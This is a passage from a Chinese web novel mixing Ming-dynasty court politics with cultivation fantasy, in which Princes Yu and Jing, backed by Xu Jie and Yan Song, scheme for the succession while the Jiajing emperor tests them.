说着,陈洪看着吕芳那沉下来的脸色,小心翼翼道:“内阁如今可是二位殿下掌权。” “他们这是疯了不成?” “……” 大大们,月底了,就差七十几票,就满一千了,听说一千票可以抽奖,求求了,给点月票吧,拜谢,拜谢,拜谢~~~ 第一百一十四章 裕王与景王之争,正式开战! 听完陈洪的汇报,吕芳顿时明白过来。 这些官员,都是代表着曾经的清流派系,确切的说是曾经支持徐阶的利益集团。 徐阶向裕王投诚,主动调查‘朱纨案’,而且从锦衣卫的奏报来看,徐阶家族已经开始背刺他们曾经的盟友了。 面对这些屠刀落下,这些士绅大族自然不会乖乖的引颈受戮。 他们必然是要做出反击的! 这次,就是要逼迫朝廷处置徐阶。 而看似是要针对徐阶,实则是在逼迫朝廷,停下对‘朱纨案’的调查。 嗯,其实小小的‘朱纨案’,并不能引起这些人的太大反应。 他们真正担心的是因‘朱纨案’而牵扯出来的嘉靖二十九年的俺答入侵,以及两件事背后,朝廷要以此为借口,掀起‘庚戌大狱’。 之后,用这个当幌子,整顿吏治,实则是要收回所有士绅家族手里的土地。这是直接断了他们的核心利益,这属于是挖到根了。 这些人,自然是狗急跳墙,要展开攻击了。 “怎么办?”陈洪看向吕芳,满脸询问之色,“要不请示一下主子?” “你先等着。”吕芳看了眼陈洪,脸上的神情已经缓和下来,百官弹劾死谏? 简直就是不知死活了。 现在的大明,可不是以前了。 南北稳定,内部整顿吏治是必然的。 这个时候,谁敢反对,谁就等死吧,大明朝可不是没有官员做替补。 之所以迟迟没有动手,不过是此前南北不稳,内部要是一乱,大明会彻底陷入战乱,不想给外敌可乘之机罢了。 现在,没有了后顾之忧,还不是随意的处置? 很快,吕芳就回到了偏殿。 “草原土默特部、兀良哈三卫,精锐几乎丧尽,这个时候草原上根本没有什么精锐。” “这个亦思哈·哈喇,所继承的哈喇辉特部,附属于杜尔伯特部。”吕芳到回来的时候,景王正在侃侃而谈。 看到吕芳,他语气微微一顿,见父皇没有想要询问的意思,然后继续开口。 “土默特部、兀良哈三卫,经过阴山一战,已经衰落,甚至不如一些小部落。” “接下来,最强的毫无疑问就是土尔扈特部、乌珠穆沁、杜尔伯特等部。” “若是我们敕封这亦思哈·哈喇,命他掌管这杜尔伯特部,可以有效的稳定草原各部。” “之后,北境可以重开互市,为大明增加一些财政上的收入。” 景王说完,对着嘉靖躬身一礼。 一旁的裕王,看着景王如此,眼神中有惊讶之色浮现。 大半个月不见,这个只知道捞钱,治国方面的能力,被自己远远甩开的弟弟,突然间怎么会有如此政治头脑,和见识了? 难怪这段时间以来,景王很少在内阁中出现,严嵩也一副不怎么管的架势。 一开始,他还以为景王是在家里闭关苦修。还趁着这个时候,在内阁六部中各种,为未来布局呢,毕竟不在灵田小院修炼,就算有灵源供给,也会是浪费灵气,可以说是事倍功半。 有这功夫,不如趁着整顿吏治,开始对东南进行全新的布局和规划。 毕竟修仙,争的可不是一朝一夕,还有长短。 以后有了资源,修为也能上来。 没想到这个弟弟,竟然是在暗中学习如何治国吗? 不过想及此处,很快裕王又感觉到了哪里不对劲,感觉事情可能没有这么简单。 景王察觉到裕王的眼神注视,心中冷冷一笑。 这段时间,他深居简出,内阁议政也不怎么出面,完全一副大权由裕王和他那一系人总揽的模样,自然不光是修炼。 他还在给裕王,准备一份大礼! 之前他以为严嵩也跟自己一样,只知道捞钱,但没想到其在治国方面,也有独道手段。 不仅如此,严嵩竟然早在北境战事结束三天后,就命人开始联系了草原的哈喇辉特部。而严嵩的目的也很简单,要在草原布局了。 这份毒辣的长远目光,确实令人敬佩。 最重要的是,严嵩做事很是讲究,为自己安排的好好的了,很是舒心。 难怪父皇会这么喜欢严嵩给他办事。 如此贴心,有能力的手下,就问哪个上位者不喜欢用严嵩呢? “不错,看来这大半个月,你长进了不少,”嘉靖对景王露出一个赞许的笑容,说着略一沉吟,抬了抬手指,道: “人,朕就不见了,吕芳。” “奴婢在。”吕芳躬身上前。 “拟旨,”说着,嘉靖也不管吕芳,沉思了片刻后,这才开口道: “闻,天地之德,莫过于和;国家之福,莫过于安。自古以来,中原与草原各部落相依相助,共谋和平……” “朕闻瓦剌部哈剌辉特首领亦思马因之子,亦思哈·哈喇,贤能有德,深得族人爱戴。” “亦思哈·哈喇虽非嫡系,但才智出众,颇有威望,且心向和平,愿与我大明通好。” “就命亦思哈·哈喇为“顺义王”,掌管其所属之杜尔伯特部,以表彰其忠诚与贡献,并期许其继续维护草原与中原之和平与安定。” 洋洋洒洒,一份敕封诏书,大致都是一些官面话,这些对嘉靖来说,根本不算什么。 这样口头上的敕封诏书,随口说出十几篇都不是事儿。 “之后司礼监与内阁商议,与礼部共同督办。”嘉靖说着,抬了抬袖袍,很是随意。 “是。”吕芳手中大笔快速勾动,写完最后一个字后,吹了吹未干的墨迹。 一旁的裕王见父皇这么简单就决定了对亦思哈·哈喇,顺义王的敕封,眉头微微皱起。 敏锐的直觉告诉他,景王这是要收服草原了? 他不信景王有这种脑子,这里头肯定有严嵩的手笔。 其实此前在跟徐阶等人商议的时候,就已经知道了,日后大明国力上涨,甚至成长为一方仙朝,那为了庞大的修仙资源,必然会扩张疆域。 北边的草原,南边的诸国,还有海外,可能迟早都会被归入大明的疆域版图之中。 显然,这一点他们意识到了,老谋深算的严嵩也意识到了这一点。 只是让他没想到的是,景王跟严嵩下手竟然会如此之快,这就开始布局草原了。 不得不说,这一次,他们慢了一手! “不行,必须要回去与徐阶等人商议了,未来草原绝对不能被景王掌控,必须也要开始布局才行,不能被他一个人独享!” 想及此处,裕王心中暗暗下定了决心。 “呵,我愚蠢的三哥,你以为我会给你插手草原的机会吗?”察觉到裕王眼神的景王心头冷笑,目光不由的看向了吕芳。 “外面什么事?”嘉靖看了眼裕王跟景王,将二人神情收入眼底后,对吕芳问道。 “回主子,六部一些官员,和御史言官,拿着弹劾奏本,”吕芳说着,看了眼嘉靖,然后语气平缓,道: “说是内阁乱政,不是宰相,却欲行宰相之权,蒙蔽圣听,践踏皇权,要求严惩!” “现在,正跪在西苑外,说是死谏……” 什么?!听到吕芳的话,裕王心中一惊,下意识的看向吕芳。 他自然知道徐阶背叛士绅大族,和整个东南官场,会引来强烈的反扑。 这段时间以来,弹劾徐阶的,几乎每天都有从地方呈上的奏本。 不过尽数都被他压下。 嗯,其实徐阶的做法,在面上是没有任何问题的。 徐氏家族呈交的那些证据,可以说是都有理有据,然而这些弹劾的奏本,也不是无的放矢。 又是说徐阶弄权,又说徐氏家族非法兼并土地,又或者是勾结商人,私开海运。要求必须惩治徐阶,对其家族进行罚抄。 只是让裕王没有想到的是,这些官员竟然直接跑到了西苑来死谏。 还抱着奏本,扬言说内阁擅权,蒙蔽圣听,要行使大明的相权。 要求父皇惩治整个内阁? 这段时间,内阁都是谁在主持?自己! 一瞬间,刚才心里感觉到的那股不对劲,顿时涌上心头。 百官死谏,来西苑逼宫,这事父皇要处理的话,会怪罪谁?毫无疑问是自己! 下意识的,裕王看向景王,后者则一副没有察觉到的模样,还装出一副惊讶的模样。 这一幕,看的裕王眼神中冷意闪烁,隐隐有恨意浮动。 当然,他此刻,心中更恨的是,被景王给摆了一道,竟然后知后觉! 好,好啊,当真是好的很! “朱载坖,朱载圳,”果然,就在这时,嘉靖冰冷的声音响起,裕王也顾不上对景王的愤恨,浑身一个激灵,当即惶恐的看向父皇。 景王同样是一副诚惶诚恐的模样。 “朕让你们协理内阁,你们就是这么办事的吗?”嘉靖说话的时候,神情间说不出的失望。 “父皇明鉴,”这时,裕王急忙开口,然而他刚开口,景王跟着就大声道:“父皇,这大半个月来,儿臣并未在内阁。” “儿臣深知北境一战,我大明可能与草原各部产生不可调和的矛盾。” “为了北境的安宁,为了安抚草原各部……且儿臣知道自己能力不足,只能顾及到一头。” “想着,内阁有三哥坐镇,应当不会出什么乱子才对,若是,若是儿臣知晓会如此……定会拼命帮着三哥一起把事情处理好。” “还请父皇恕罪!” 说完,景王的脑袋直接杵在了地上。 然而已经跪在地上,低着脑袋的裕王,听到这番话后,瞪着双眼,恨不得冲上去跟这无耻小人拼命。 “……” 第一百一十五章 教授 玉熙宫,偏殿内。 景王一番话,看似是在为裕王开脱,实则是将自己摘出去的同时,把责任全推给裕王。 而自己,不但不会因为不理内阁政务,而遭受到责罚,反而会因为为父皇分忧,帮着处理草原的安定,而受到嘉奖。 嗯,还有一点,如此还能让父皇明白,内阁如果让裕王一个人来协理的话,他根本不行。 也在暗戳戳的说,裕王没有抗事的能力,这储君之位,父皇就别考虑他了。 当然,景王也不指着因为这一件事,就让父皇放弃储君选择裕王的考虑上。 “父皇,儿臣,儿臣,”裕王此时已经没功夫理会景王的小算计了,赶紧道: “那些弹劾徐阶的奏本,虽然有理有据,可不过都是这些人的私欲在作祟,只因为徐阶损害了这些人的利益,他们这是逼迫儿臣做决定。” 裕王在政务的处理上是有能力的。 可惜的是,扛不住事,基本上被一吓,就会方寸大乱,尤其是身旁还有个景王的前提下。 而听完裕王这番话,嘉靖却是没有任何表示,只是冷冷的盯着他。 这让裕王心头压力顿时的大增! “父皇,徐阶主动交出家族利益名单,以此保全他自己和家族,儿臣认为徐阶是个能臣,不能因此就不给他机会,就……” 越说越没边了。 “所以,你就跟他做了交易?” “朕问你,你把治国当什么?”看着裕王这一副模样,嘉靖心中升起一股前所未有的失望,语气也越发的冷了下来。 “身为皇子,跟臣子做交易,被人家牵扯鼻子走,现在又被人逼着做决定?” “还闹到朕的跟前?”说着,嘉靖面上浮现出怒容,指着裕王,怒极反笑,道:“事情解决不了了,不提早跟朕说,还让那群混账来逼到自己老子门前来了…你监的什么国,嗯?!” 说到最后,嘉靖几乎是阴狠狠的吼出来。 而“监国”这两个字,也是被他这么直言不讳的说出口。 而对此,裕王跟景王都是身体一颤,不过对“监国”两个字并没有什么意外。 世人都知道皇帝玄修,内阁理政,处理国事,现在裕王跟景王共同协理内阁,其实就是变相的监国了。 这点朝廷上下都是心知肚明的。 “父皇!”被呵斥,裕王顿时知道,自己慌不择言,说错了话,赶紧将脑袋杵在地上,大声道:“儿臣知错,请父皇降罪!” “百姓家常说,养儿防老,如今看来,朕活的还不如一个普通百姓!” “朕怎么就生了你们这些无能之辈!”这次,嘉靖直接将景王也给骂进去了。 眼看着嘉靖暴怒,气氛僵住了,懂得察言观色的吕芳,当即上前温吞道:“主子息怒。” 说着,吕芳看了眼跪在地上,跟个鹌鹑一样的裕王,再看低着脑袋,毫无害怕之色的景王,又对嘉靖躬身道: “百官之间,派系、利益错综复杂,二位殿下第一次理政,难免会有照顾不到的。”说着,吕芳语气微微一顿,又道: “整顿吏治,事关后面的土地改制变法,难免会触动一些人的利益,他们会有此反应,倒也实属正常,二位殿下也是心切。” “所以,还请主子息怒,至于这些百官,不如就让司礼监去处理?免得打扰主子清修。” 吕芳自始至终,都说的是‘二位殿下’,他自然看的出来,今天的这事说白了就是景王在给裕王找麻烦,二人都要争储。 很显然,裕王没有准备之下,在这场争斗的第一仗就败了下来。 这个时候,主子需要一个台阶下。 “不必为他们说话!”嘉靖大手一挥,指着裕王,道:“你,朱载坖,抬起头来!” “父,父皇……”裕王惊恐的抬头看着嘉靖。 “这件事,就由你去处理,事情处理完之前,就不必入宫修炼了!”嘉靖说着,指着裕王,厉声道:“若是连政务都处理不了,那么你修仙长生,也不过是浪费资源!” “告诉朕,你能办好吗!” 听到嘉靖说,这件事要是办好之前,自己都不允许进宫修炼后,裕王整个人呆滞了。 一时间,竟然呆愣住了。 他怎么也没想到,事情竟然会这么严重。 他想的也就是被父皇斥责,或者是收权,可没想到,竟然是要断了自己的修仙之路?! 嗯,不能说断绝,只是不让自己入灵田小院修炼了,但他手里的灵源,还有每日的灵米,灵瓜,灵果这些,还是正常发放的。 可是不入灵田小院修炼,在外界使用这些灵物资源,灵气耗损太严重了。 说句事倍功半也不为过,不,功可能连一半都不会有,甚至更少! 这个惩罚,太重了! 一旁的景王也是一怔,没想到事情的后果竟然这么严重,这…可真是太好了! 这简直是意外之喜啊! 现在整个大明高层都知道,皇上得仙人赐法,在他们看来,人生中最大的事情,莫过于修仙长生了,所有人都眼巴巴的等着呢。 就算是景王跟裕王,其实争储君的目的,也不过是为了争夺资源。 所以,修仙对他们来说,有多重要,不言而喻了。 这个时候,父皇直接断了裕王的修仙之路,嗯,不能说完全断了,至少裕王手中还有父皇赐下的一些灵源,可灵田小院辅助灵源,跟自己一个人在王府里,用灵源修炼可是不一样的。 一个事半功倍,一个事倍功半! 嗯,景王心中在开心的同时,也觉得这个犯错的惩罚,有些重了。心头不由的暗暗一紧,看来以后要越发的谨慎些了。 “殿下,还不谢主子?”吕芳轻声对裕王说了一声。 “儿臣,儿臣谢父皇,”听到吕芳提醒,愣了片刻的裕王立刻反应过来,当即道:“儿臣定不负父皇期望,将事情处理妥当!” 为了修仙之路不被断绝,裕王心中也暗暗发起了狠,同时对景王也越发的恨意十足。 断绝仙路,这就是要自己去死啊! 等着吧,这次算我大意,让你抢先了一步,接下来我出招,你最好也能接着! “都回去吧。”得到裕王的保证后,嘉靖摆了摆手,示意二人都回去。 “是,儿臣告退。”裕王跟景王对嘉靖躬身行礼,而后齐齐转身踏出了玉熙宫大殿。 目送二人离去后,嘉靖发出一声轻笑。 “主子,这回裕王爷可是被吓得不轻。”铝方轻声说道。 “他太弱了,还需要磨炼,”嘉靖说着,微微摇头,道:“原本是打算,通过北境,清流和严党之争,借此机会让他们成长。” “但俺答来犯,朕不得不提前一些安排。” “不过好在,事情又都回到了原本,朕给他们安排的考验上。” 一开始,嘉靖就想通过让景王跟裕王,协理内阁,然后以北境为战场,进行一些磨砺。 而这场磨砺会从北境,清流和严党之战,一直持续到整顿吏治、财政收入和土地改制。 毕竟,他自己要在土地改制之后,大明基本上该解决的危机,也基本上解决了。 之后,他就要回修仙界,准备突破筑基了。 现在的大明,已经证实了灵田可以培育,在仙朝的发展之路上,遇到了一个瓶颈。 想要再有发展,就必须要突破筑基。 只有让本命跟本命物绑定,如此自己就能直接从修仙世界,搬运大量的物资入大明。 而不是通过储物袋,一点点的搬用,还每次都要支开旁人,还要合理。 这样一来,效率太慢了。 此外,灵脉的谋划,也要提上日程。 当然,灵脉这东西,即便修仙世界那边“野市”打造完成,短时间内也无法获得。 他谨慎惯了,自然不会在谋划“野市”的灵脉生意上,冲在最前面。 他必然是要等到其他大宗派,家族全都下场,等到整个市场,背地里的灵脉产业,完全成熟以后,才会跟着这些宗派一起。 毕竟大树底下好乘凉,就算哪一天树要倒了,他也能提前通过一些蛛丝马迹,做出准确的判断,及时收到风声撤退。 所以为大明谋划灵脉这事儿嘉靖并不急,一步一个踏实的脚印,慢慢来就是。 “主子,这次裕王殿下怕是要面临一个两难的抉择了。”这时吕芳的声音再次响起。 见嘉靖没有说话,吕芳知道这是主子默许了,于是语气顿了顿,又跟着温声说道: “徐阁老背叛了他的利益同盟,现在遭到了反噬。而裕王殿下,又很显然是要保住徐阁老的。” “所以,他现在就面临两个选择,要么放弃徐阁老,安抚百官,要么一意孤行。” “选择前者的话,那么未免会寒了那些跟随裕王殿下的那些人的心。” “殿下显然是已经接受了徐阁老的投诚,若是放弃,未免会遭到他人的非议,他在朝中的地位也会遭到他人的质疑。” “以后恐怕也难有人再忠心跟随了。” “若是继续狠下心对东南官场,进行一次大清洗……嗯,这是必须要做的。殿下就会成为世人眼中的恶人,名声上会受损。” “这个时候,但凡有一个想不通的御史言官这样的官员,效仿昔日那宫门前的周云逸来一个死谏的话,那么裕王殿下可真就……” 说到这里,吕芳摇了摇头。 吕芳自然也明白这其中的为难,不过快刀斩乱麻的整顿吏治,本就是一早定好的。 只是原本,按照正常的发展,应该是裕王和景王殿下两个人,兄弟齐心,通力合作。但是现在很明显,裕王和景王两个人是要争储的。 既然是争储,那自然就是敌人了。 彼此互为敌人,又怎么可能齐心通力合作呢?而且,主子也不希望两个儿子真的兄友弟恭,没办法主子性格就是如此。 身为储君的话,那么就不能做这种恶人恶举,但是主子的命令已经决下达,所以这件事情又不得不做,那么就只能是其中一个人去扛下这些,另外一个人保持作壁上观的干净姿态。 而什么人才需要保持干净,不能当恶人,那除了皇帝,自然是储君了。 储君,必然是要伟光正,不能有污点存在的。 景王,或者说,是他背后的严嵩,正是因为清楚其中关键,所以便提前开始布局。 不得不说,严嵩这一手非常的高明! 由景王出面,联系此刻能正陷入恐慌的蒙古草原部落,通过敕封亦思哈·哈喇为“顺义王”来安抚草原各部,稳固草原的和平。 如此一来,整个草原,尤其是被敕封为“顺义王”的亦思哈·哈喇,对景王的感激之情,必然会暴涨到一个常人难以企及的高度。 显然,严嵩此举也有布局草原的意图。 而且,此事基本上算是已经成了,伺候景王殿下必然会得到草原各部的一些支持,甚至还因此,而会获得朝中百官上下对他的赞赏。 治国能力会得到大部分官员的认可! 而对于裕王殿下来说,将快刀斩乱麻的整顿整个东南官场的吏治,这就是要把原本属于他这一系的清流派所有支持者一起葬送。 这么做的后果,就是裕王会成为整件事当中的最大恶人。 他会给百官留下一个什么样的印象呢? 一个为了自己的利益,随时可以出卖所有支持他的人的冷血之人! 一些支持他的,和不支持他的,都将对他敬而远之。 甚至对于裕王殿下来说,不管他放弃不放弃徐阶,他最终都是要对这些原本属于他这一系支持他的清流派背后的士绅大族进行清洗。 总之,不管怎么选择,裕王这个恶人,他是当定了的。 “哼,”听到吕芳的话,嘉靖则是轻哼了一声,然后幽幽道:“难?治国就没有简单的!” “朕就是要通过这次的教训,告诉他们,治国,并没有他们想的那么简单。” “此事也不是没有解决的办法,但他若是连这点小事,都处理不好的话,”说着,嘉靖眼神中有冷意浮动,“那么朕,真的就要考虑考虑,是否将属于他们的资源,停下了。” 听到嘉靖这么说,吕芳则是默然不语。 嘉靖身为皇帝,又是皇子的父亲,自然可以随意的批评,但他身为家奴,却不可以跟着主子随意的在主人面前批评皇子。 这些分寸,吕芳想来都是能拿捏的恰到好处的。 “依你之见呢?”就在这时,嘉靖突然又开口。 “主子英明,”面对嘉靖的提问,吕芳先是不慌不忙的奉承了一句,然后又略一沉吟后,这才缓声开口,“要想解决,确实不难,只需借力打力,此消彼长,此长彼消。” “如此,自然一切都将化解。” “呵,好奴婢,”听到这番话后,嘉靖笑着抬手点了点,道:“你倒是越发的聪明了。且看朕这两个儿子如何处理这件事。” 闻言,吕芳也是将目光看向大殿之外,那瓢泼的大雨。 这件事看起来很难,但这对嘉靖来说,甚至就算是吕芳来看,也都不算什么麻烦。 别看这次的事情二王相争像是景王胜利。但实则,主子对两个人的考验也才刚开始。 谁要是在这件事情之上犯了糊涂,那么主子的惩罚,也会毫不犹豫的降下。 裕王跟景王二人,出了玉熙宫之后一路沉默。 二人身后各有一名小太监在为二人撑着雨伞。 “啪啪啪。”密集而硕大的雨点,不断的拍打在雨伞上,发出急促的声音。 “四弟,”终于,在即将踏出西苑大门的时候,裕王停下了脚步,看向也朝他看来的景王,“好手段,我小瞧你了。” “呵,”面对满脸阴沉的裕王,景王则是发出一声轻笑,慢条斯理的整整自己的衣袖,先是对着裕王笑了笑,然后又将目光看向了那跪在西苑广场上的二十几个清流派官员,道: “三哥,为了父皇,为了大明江山社稷,总要有人去承担一些骂名的,须知……” 说着,嘴角勾起一抹笑容,看向裕王,“位高权重,责无旁贷的道理。” “若是三哥觉得位太高,责太重,大可以从高处下来,做一些自己力所能及的事情。” “身为弟弟,我很乐意代劳。” “嗯,想来三哥还有很多事情要处理,弟弟我就不在这里打扰了。”说完,景王对着裕王拱了拱手,而后大步踏出宫门。 对那些跪在西苑外,冒着大雨,要求死谏的官员,更是看都没有看一眼。 凝视着景王离去的背影许久,直到景王的轿辇隐入大雨中看不到的时候,裕王这才一甩袖袍,也大步踏出宫门。 一些官员,从看到景王从宫门中出来后,就一直留意着宫门口。 而当看到裕王也跟着从门口出来后,顿时一个个,都朝裕王看了过去。 “殿下,徐阶误国,切勿听信谗言,我等……” 然而他们话还没说完,就见裕王竟然是连看都不看他们这些人一眼,直接冷漠的从他们身边走过,进入了轿辇当中离开。 顿时,话才说到一半的官员哑口无言。 一些白发苍苍的老者,蠕动了一下嘴唇,眼神中有黯然之色浮动,而后又倔强的看向西苑,大声道:“内阁乱政,蒙蔽圣听……” “臣,恳请皇上,惩治内阁,以振乾坤!”随着一个人起头,其他人也齐齐高喊。 西苑一大批清流派系的官员拿着奏本死谏,要求惩治内阁,惩治徐阶之事,很快就传遍了整个京师官场,不少官员都是愕然无比。 不过很快,这些人精又反应了过来,各个在家装死,一副什么都不知道的模样。 景王府,大殿中。 严嵩和严世蕃已经坐在了椅子上。 景王则是将刚才在玉熙宫里发生的一切,给严嵩说了一遍。 “严阁老,这次本王能扳倒三哥,全靠你布局深远,谋划详细了!”景王此刻很开心。 “接下来,我们只需要再添一把火,让三哥彻底手忙脚乱,父皇定能看出我们谁更适合当储君,同时还能拖住三哥,让他修为缓慢。” “而我,大可以趁这个机会修炼,将他远远的甩开,至于朝中之事,可就看严阁老了。” 然而听着景王这一番话,严嵩只是用一双老眼,就这么静静地看着他。 “殿下,接下来,你不但不能再乘胜追击,还要去主动配合裕王殿下,接下来的行动!” 严嵩摇了摇头,对景王接下来的行为,持否定的态度。 “为何?”听到这话,景王眉头一皱,“我们只需要等三哥阵脚大乱,烂摊子收拾不了的时候,再出手快刀斩乱麻的整顿吏治。” “那时,三哥名声也恶了,我们的目的也达到了,这有何不可?” 看着只知道进攻的景王,严嵩心底一叹。 这个景王殿下,虽说很像皇上,可也只是一方面像,比如捞钱,再就是那份自信,让他跟裕王对比起来,显得更像是皇族。 可却没有继承皇上的隐忍和治国头脑! 在一些事情上,看的太浅,不够透彻,更无法深刻体会到圣意。 而这一点却偏偏被裕王给继承了过去,可以说兄弟二人,每人分了皇上一部分优点。 “殿下,你以为我们的这些伎俩,皇上看不透吗?”严嵩的语气,变得严肃起来。 他像是一个老谋深算的狐狸一样,眼神中闪烁着精明而深邃的光泽,凝视着景王。 “……” 新的一周,大大们,投点票票吧,别让数据太难看啦,谢谢啦~~~ 第一百一十六章 嘉靖四十一年 “嗯?怎么说?” 听到严嵩的话,景王心中没来由的一紧。 原本舒适的坐姿,也下意识的换了个坐姿,变得端正起来。 若是旁人跟他说父皇的行为,如何如何有深意,他可以保持怀疑审视的态度,可这话若是严嵩来说,那他就不得不谨慎对待了。 毕竟,这朝中要论谁最懂父皇,显然就是眼前这位严阁老了。 尤其是经过这一次,严嵩只是稍微出手,就让三哥在跟他的相争之中,落败了一手。 所以,严嵩的话,他必须要认真听着。 “殿下,永远不要在皇上跟前耍小聪明,”严嵩语气温吞,道:“在皇上面前,你永远要有一个迎合的心态,而不是算计的心态。” “就算清流一系要针对徐阶,也绝对不敢这么明目张胆的就去西苑死谏的。” “还有,就算殿下说自己这段时间不在内阁主持事务,可别忘了,老臣还在。” “内阁。老臣毕竟是首辅,政务是要经过老臣这边,然后交于二位殿下过目的。” “皇上闭关玄修,你们二位殿下,其实就是在替皇上监国,现在有人要弹劾内阁次辅,这必须是要内阁众人,还有二位殿下共同商议的。” “老臣没有任何动静,殿下您也不知情。就让裕王殿下这么把事情给压下来?” 说着,严嵩语气越发低沉,“还有这次清流一系官员一起出动,这背后也是有我们推波助澜的。” “皇上怎么可能什么都不知道?” “最重要的是,经此一闹,谁获利最大呢?您是唯一一个,获利之人。” 嘶!经过严嵩这么一分析,景王心中那一阵得意,立刻消散于无形。 想到他在玉熙宫内,把事情推得一干二净,还自作聪明的模样,顿时感到脸上一阵臊得慌。 “既然父皇知道这里头事情不简单,为何还要惩罚三哥,不让他去灵田小院修行?”景王皱起眉头,有些不解的看向严嵩。 “皇上这是在磨练,培养二位殿下……”严嵩抬了抬眼,温吞道。 嗯,其实他心里还有一句话没有说出口。 那就是,皇上不希望你们二位太过兄友弟恭,团结一心了,只有如此皇上才会安心。 当然,这话严嵩是不能说也不会说的,除非他活的不耐烦了。 但那是不可能的,毕竟好日子还在后头呢。 修仙长生,谁不希望?一个新生的大明,他的目标也很大,比如发展一个树大根深的修仙家族? 这些,都需要一步步经营才是。 而就在严嵩给景王讲述其中利害和关键的时候,裕王府,也就今日裕王跟景王,在玉熙宫内的一番争斗内容,展开了一番讨论。 “嘭!”性格耿直,脾气火爆的高拱,怒捶了一下桌子,恨声道:“严嵩,肯定是严嵩!” “除了这老鬼,其他人想不出这么阴毒的招来。” 听到高拱这么说,徐阶,张居正、赵贞吉三人都是默然不语。 高拱说了一句废话,这种阴狠毒辣的招,除了严嵩,他们也想不到其他人了。 景王是个什么人,他们也都清楚。 可以说论城府智谋手段这些,可都不是裕王的对手。 他自己怎么可能做出如此巧妙布局手段? “不管这招是景王出的还是严嵩出的,都说说接下来我们该怎么做吧,毕竟事情已经发生了。”裕王抬手打断暴怒的高拱,看向众人。 如今的局面他也很难办。 要么放弃徐阶,要么死保。 前者肯定是不能选的,徐阶对他来说很有用,会是他手中,理想的另一个“严嵩”。 所以,徐阶他保定了,谁来都没用! 至于那些清流官员,反正都是要被清算的。 现在对于他来说,是不能自己去当这个恶人,而不是,不能去处理这些人。 一旦他出手对东南官场进行快刀斩乱麻的大清理,那有损他的身份。 因为先不说‘朱纨案’牵扯的嘉靖二十九年,俺答入侵,是不是真的,接下来的‘庚戌大狱’都必须要因此而出现,用来清理官场。 自古,掀起大狱者,尤其是翻旧案掀起大狱的上位者,都不会给人什么好印象。 这注定了,做这件事的人,会满身污点。 强如太祖,胡惟庸案,蓝玉案,等等大狱,牵连多久多广?不少人也对此颇有微词。 所以,裕王不能让自己在官员心中留恶名。 “臣有一个提议。”这时,神色始终平静的徐阶开口了。 今日这一切,他早就有预料了。 即使没有景王,此前他背后那些利益集团的人也不会放过他。 这一次,被严嵩利用出手针对自己,倒也属于正常。 如果严嵩不利用这一点出手对付自己,或者说对付裕王,那他就不是他了。 而且,整件事在他看来,虽然看似棘手麻烦,但也并不是无解。 “徐阁老有什么对策,快快说来。”裕王见徐阶出手了,面上肃容也跟着一缓。 其他人也都将目光看向徐阶。 毕竟整件事,他才是当事人,众人都想听听他心中的想法。 “其实,他们想要的,并不是让我徐阶死,”徐阶组织了一番言辞后开口,这才开口,“他们想要的不过是保住自己的利益。” 徐阶一针见血的指出问题所在。张居正、高拱、赵贞吉三人闻言,都是暗暗点头。 不错,虽然徐阶背叛了利益同盟,可这些清流以及他们背后代表的士绅大族,其实是想通过逼迫徐阶,让裕王,让朝廷做出让步。 “所以,殿下只需要告诉他们,其实这次并不是要针对他们,不过是为了铲除严党。” “朱纨案,”徐阶说着,眸光一闪,眼神中闪过一抹迟疑之色,“当年一些官员,想要对付朱纨,因此走通了严嵩的关系。” “严嵩在这件事中,牵扯也很深。” “当然,这个理由还站不住脚,”徐阶说着,又道:“因为毕竟朱纨还是东南官场害死的,因此这件事就必须要他们相信。” “一个理由非常好,储君之争。” 储君之争?听到徐阶这么说,裕王眉心一簇。 “如果事关争储,那么东南官场权力洗牌,也就有了一个值得站住脚的理由。”这时,张居正以手抚须,眸光中浮动着某种光泽。 “如此一来,损失部分人,用来与东南官场上严党一系的官员互相消耗一下,如此换取一个由他们支持的储君之位,”想到这里,张居正微微一笑,道:“我想,他们肯定是愿意的。” “殿下只需要在清洗官场的时候,先对严党在浙直地区的官员先动手,而后徐阁老此前的盟友们,也必然会望风而动。” “如此一来,严党官员必然也会反击。” “此消彼长之下,两败俱伤,剩下的也就不成气候了,不过……”张居正说到此处,就听高拱瓮声瓮气道:“这个计划,要想别人相信,就必须要有人配合,而这个配合之人……” “必须是严嵩!”赵贞吉言之凿凿道:“说白了,就是再跟严党唱一出戏。” “否则,一旦严党从中作梗,那就功亏一篑了。” “严嵩?”裕王眉头一皱,而后摇头,道:“景王是不会放过这个机会,打击我的。” “不,景王殿下或许会乘胜追击,但严嵩是不会让他乱来的。”张居正笑着摇头。 “嗯?”裕王一愣,有些没明白这话什么意思。 不过看着不仅仅是张居正,就连高拱、赵贞吉,此刻都面容微缓后,裕王懵了。 “殿下,我问你,若非如此行事,那么您在面对两难抉择的时候,会选择哪一个?”张居正语气温和而缓慢。 “不论如何,我是不会放弃徐阁老的。”裕王看向面色平静的徐阶,深吸一口气,道:“东南官场必然是要被肃清的。” “如果因为一件必然要做的事情,而放弃徐阁老这位师傅,那岂非忘恩负义?” “如此,本王失去的,不光是其他官员的好感,还会寒了跟随本王之人的心。” “所以,”裕王神色恳切的看向在场几人,严肃道:“诸位师傅,一直在帮助本王,本王绝不会为了这些利益,放弃你们!” 虽然知道上位者的话,大多都是此一时彼一时,但听到裕王如此声情并茂的话,徐阶的面容还是不由的一暖,自己没有赌错。 裕王,终究是个明白人! 嗯,是的,他不会觉得裕王感恩,只认为裕王是明白人,身为官场老狐狸,徐阶可太明白伴君如伴虎的道理了。 即便眼前的是皇子,但也别将他的恩情,当做是可以依靠的东西。 对于上位者来说,只有利用。 他赌裕王,向他投诚,也不是期许师徒恩情,而是在赌裕王是个明白人。 张居正、高拱、赵贞吉三人互相看了一眼,都是面露微笑,而后张居正继续道:“所以,殿下不放弃徐阁老,就必须要得罪死东南官场。” “如此一来,双方针尖对麦芒,虽然最终依旧是殿下胜利,但拖延的时间就会变长。” “而且,整个大明也会陷入一些动荡,嗯,虽然如今南北大定,不需要担心,但场面定然会极其惨烈,弄的很是难看。” “朝廷的体面也会损伤。” “如此一来,最后皇上会做圣裁。” “那么罪孽,可就不光是落在裕王殿下您一个人的身上了,景王也要跟着遭殃。” “皇上是不会乐意看到,兄弟阋墙,甚至可以不顾国家利益这种情况的。” “皇上只会对你们都失望,没有赢家。” “所以,为了保持景王殿下,顾大局,也为了不影响皇上想要整顿吏治,土地改制的进度,严嵩是必然会配合我们行动的。” “别忘了,我们的目的跟皇上的目的一致。” “只要是有利于皇上的目的,就必须要通力合作,只有如此,才是规则内允许的争斗!” 一番话说完,裕王双眼瞪的老大。 